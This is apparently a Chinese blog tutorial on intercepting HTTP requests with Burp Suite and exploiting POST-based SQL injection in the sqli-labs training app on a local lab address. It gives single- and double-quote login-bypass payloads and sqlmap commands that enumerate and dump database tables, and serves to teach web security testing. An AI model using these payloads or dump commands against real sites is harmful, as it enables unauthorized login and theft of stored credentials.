Fork me on GitHub

Burpsuite抓取HTTP请求

Burpsuite是一款Web安全测试的利器,集成了几乎Web安全测试中所有需要用到的功能

运行前提:1、需要安装Java https://www.java.com/ZH-CN/

C:\Users\root>java -version
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode)

截断代理设置:在浏览器中设置局域网代理

启动Burpsuite抓取HTTP消息

配置浏览器代理为127.0.0.1:8080

在proxy->option->proxy Listeners中 检查Burpsuite监听127.0.0.1:8080

注意Burpsuite配置证书到浏览器

禁止Burpsuite拦截firefox报文

火狐浏览器经常进行一些登录状态的检测,导致Burp拦截中出现大量的火狐报文

在proxy->option->Intercept Client Requests中 点击启用规则,新增一条规则

点击add,将正则表达式(mozilla\.com$|firefox\.com$|firefoxchina\.cn$|mozilla\.org$)复制到Match condition右侧的选框中

在proxy->option->Intercept Server Response中 关闭启用规则

POST基于错误单引号注入

注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然借助对应的插件可以完成修改任务,建议使用Burpsuite

进入Less11

<!--在浏览器中打开-->
http://192.168.8.101/sqli/Less-11/

<!--Burpsuite抓包-->

<!--请求头-->
POST /sqli/Less-11/ HTTP/1.1
Host: 192.168.8.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.8.101
Connection: close
Referer: http://192.168.8.101/sqli/Less-11/
Upgrade-Insecure-Requests: 1

<!--请求体-->
uname=admin&passwd=123456&submit=Submit

请求体中包含在浏览器输入的用户名和密码

此时按下Ctrl+R,send to Repeater 发送到Repeater中,点击选项卡Repeater,发现上面捕获的数据包就在Repeater子选项卡中,可以在子选项卡中修改参数,点击 Go 发送数据,进行探测

探测过程

<!--修改请求体-->
uname=admin\&passwd=123456&submit=Submit
<!--查看报错信息-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123456' LIMIT 0,1' at line 1

出现'123456' LIMIT 0,1'错误,分析原Sql语句如下

select * from t_name where name = 'xxxx' and passwd = 'xxx';

使用\转义后,破坏了原来的sql语句

select * from t_name where name = 'xxxx\' and passwd = 'xxx';

有代码颜色提示,可以看到,'xxxx\' and passwd = ' 被当作一个完整的字符闭合,而xxx'缺少单引号无法闭合,所以报错

构造sql请求

select * from t_name where name = 'xxxx' and passwd = 'xxx' or 1=1 --+ ';

此处意义为'xxxx' and passwd = 'xxx'将合并,插入or 1=1 --+,--+后面的所有内容注释,再运行。or 1=1表示怎样都能通过,所以可以登录成功

转换为post请求体

<!--查看报错信息-->
uname=admin'&passwd=123456' or 1 = 1--+&submit=Submit
<!--查看信息-->
Your Login name:Dumb
Your Password:Dumb

POST基于错误双引号注入

进入Less11

提交数据,使用BurpSuite截断数据,提取到Repeater中,修改提交的post数据,查看返回结果

#将原post数据修改为如下,并提交
uname=admin&passwd=123456\&submit=Submit
#返回报错结果如下
"123456\") LIMIT 0,1 at line 
#分析可知,是反斜线将双引号注释后,导致语句出错,构造sql执行
uname=admin&passwd=123456123456") or 1 = 1 --+&submit=Submit
#反回结果如下
Your Login name:Dumb<br>Your Password:Dumb

注意,在使用hackbar进行重复验证时,未能成功登录

Sqlmap安全测试

复制Burpsuite截断的HTTP请求数据包到文本文件中,使用sqlmap -r 文件路径 -p 指定探测参数

右键打开sqlmap快捷方式,将请求数据包复制到target.txt文件中

#判断
python sqlmap.py -r target.txt -p passwd --technique E --batch
#获取数据库信息
python sqlmap.py -r target.txt -p passwd --technique E --dbs --batch
#获取表信息
python sqlmap.py -r target.txt -p passwd --technique E -D security --tables --batch
#获取列信息
python sqlmap.py -r target.txt -p passwd --technique E -D security -T users --columns --batch
#获取列数据
python sqlmap.py -r target.txt -p passwd --technique E -D security -T users -C "username,password" --dump --batch
#下载数据库
python sqlmap.py -r target.txt -p passwd --technique E -D security --dump --batch

posted on 2020-01-16 15:59  anyux  阅读(165)  评论(0)    收藏  举报